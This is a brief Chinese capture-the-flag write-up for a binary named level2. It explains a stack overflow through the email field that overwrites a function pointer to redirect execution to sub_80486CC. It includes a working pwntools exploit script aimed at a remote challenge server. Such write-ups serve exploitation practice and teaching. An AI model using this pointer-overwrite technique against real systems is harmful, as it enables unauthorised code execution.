1.题目
2.IDA分析
3.流程分析
流程:输入名字,邮箱,邮箱校验完,执行v3+--v14处的代码。v3原本指向sub_8048604的,我们发现sub_80486CC才是我们需要运行的函数。
思路:①为了避免v14影响结果,输入字符避免进入case判断。②通过输入邮箱进行栈溢出覆盖v3的内容,使它指向sub_80486CC。exp如下:
from pwn import *
#io = process('./level2')
io = remote('220.249.52.133', 54079)
payload = 'A' * 0x20 + p32(0x080486cc)
io.sendlineafter("What is your name?\n> ","yangns")
io.sendlineafter("Enter the string to be validate\n> ",payload)
io.interactive()